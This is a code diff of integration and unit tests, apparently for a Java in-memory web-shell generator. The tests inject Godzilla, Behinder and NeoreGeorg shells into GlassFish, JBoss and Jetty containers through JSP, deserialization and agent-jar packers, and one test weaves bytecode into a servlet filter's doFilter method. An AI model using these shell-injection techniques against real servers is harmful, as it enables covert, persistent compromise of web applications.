assertTrue(output.contains("uid="));
verify(((FilterChainInterface) instance), never()).doFilterInternal();
}
@Test
@SneakyThrows
void testNotParameter() {
when(mockRequest.getParameter("paramName")).thenReturn(null);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.*;
import org.objectweb.asm.commons.AdviceAdapter;
import org.objectweb.asm.commons.Method;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandNormalASMTest {
@Test
@SneakyThrows
void test() {
byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) {
return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
}
return mv;
}
};
cr.accept(cv, ClassReader.EXPAND_FRAMES);
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
// IOUtils.write(bytes2, new FileOutputStream("test.class"));
}
static class Hello {
@Override
public boolean equals(Object obj) {
System.out.println("hello world");
return true;
}
}
static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
private final Type customEqualsType;
protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
super(Opcodes.ASM9, mv, access, name, descriptor);
customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
}
@Override
protected void onMethodEnter() {
loadArgArray();
newInstance(customEqualsType);
dup();
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
swap();
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
Label skipReturnLabel = new Label();
mv.visitJumpInsn(IFEQ, skipReturnLabel);
mv.visitInsn(RETURN);
mark(skipReturnLabel);
}
}
}
@@ -18,14 +18,15 @@ import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
import java.time.Duration; import java.time.Duration;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
@@ -60,23 +61,17 @@ public class GlassFish3ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of( return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) // ClassFormatError
);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
} }
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs); log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@@ -61,9 +61,7 @@ public class GlassFish4ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,9 +54,7 @@ public class GlassFish501ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,9 +54,7 @@ public class GlassFish510ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,9 +54,7 @@ public class GlassFish6ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -65,6 +63,7 @@ public class GlassFish6ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -54,9 +54,7 @@ public class GlassFish7ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -55,9 +55,7 @@ public class Jboss423ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,9 +54,7 @@ public class Jboss510ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
@@ -54,9 +54,7 @@ public class Jboss610ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -57,9 +57,8 @@ public class Jboss711ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE, );
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -51,7 +51,11 @@ public class JbossEap7ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.JBossEAP7; Server server = Server.JBossEAP7;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -53,8 +53,7 @@ public class Jetty10ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -63,6 +62,7 @@ public class Jetty10ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -17,7 +17,6 @@ import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
@@ -56,16 +55,11 @@ public class Jetty11ContainerTest {
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP); List<Packers> testPackers = List.of(Packers.JSP);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module
Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module
);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
unSupportedCases, List.of(ShellTool.AntSword) null, List.of(ShellTool.AntSword)
); );
} }
@@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.MatcherAssert.assertThat;
@@ -30,44 +33,45 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Slf4j @Slf4j
@Testcontainers @Testcontainers
public class Jetty12ee10ContainerTest { public class Jetty12ee10ContainerTest {
public static final String imageName = "jetty:12.0-jre21-ee10"; public static final String imageName = "reajason/jetty:12.0-jre21-ee10";
public static final String serviceName = "jetty1221ee10"; static Network network = Network.newNetwork();
@Container @Container
public static final DockerComposeContainer<?> compose = public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml")) .withDockerfile(neoGeorgDockerfile))
.withExposedService(serviceName, 8080); .withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
); );
} }
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
public static String getUrl() {
String host = compose.getServiceHost(serviceName, 8080);
int port = compose.getServicePort(serviceName, 8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
} }
} }
@@ -11,14 +11,17 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.MatcherAssert.assertThat;
@@ -30,44 +33,43 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Slf4j @Slf4j
@Testcontainers @Testcontainers
public class Jetty12ee8ContainerTest { public class Jetty12ee8ContainerTest {
public static final String imageName = "jetty:12.0-jre21-ee8"; public static final String imageName = "reajason/jetty:12.0-jre21-ee8";
public static final String serviceName = "jetty1221ee8"; static Network network = Network.newNetwork();
@Container @Container
public static final DockerComposeContainer<?> compose = public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml")) .withDockerfile(neoGeorgDockerfile))
.withExposedService(serviceName, 8080); .withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.SERVLET,
ShellType.FILTER, ShellType.FILTER,
ShellType.LISTENER ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta
);
} }
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
public static String getUrl() {
String host = compose.getServiceHost(serviceName, 8080);
int port = compose.getServicePort(serviceName, 8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
} }
} }
@@ -12,6 +12,10 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.DockerComposeContainer; import org.testcontainers.containers.DockerComposeContainer;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -19,6 +23,9 @@ import java.io.File;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.jettyPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.MatcherAssert.assertThat;
@@ -30,44 +37,45 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Slf4j @Slf4j
@Testcontainers @Testcontainers
public class Jetty12ee9ContainerTest { public class Jetty12ee9ContainerTest {
public static final String imageName = "jetty:12.0-jre21-ee9"; public static final String imageName = "reajason/jetty:12.0-jre21-ee9";
public static final String serviceName = "jetty1221ee9"; static Network network = Network.newNetwork();
@Container @Container
public static final DockerComposeContainer<?> compose = public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml")) .withDockerfile(neoGeorgDockerfile))
.withExposedService(serviceName, 8080); .withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
); );
} }
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
public static String getUrl() {
String host = compose.getServiceHost(serviceName, 8080);
int port = compose.getServicePort(serviceName, 8080);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
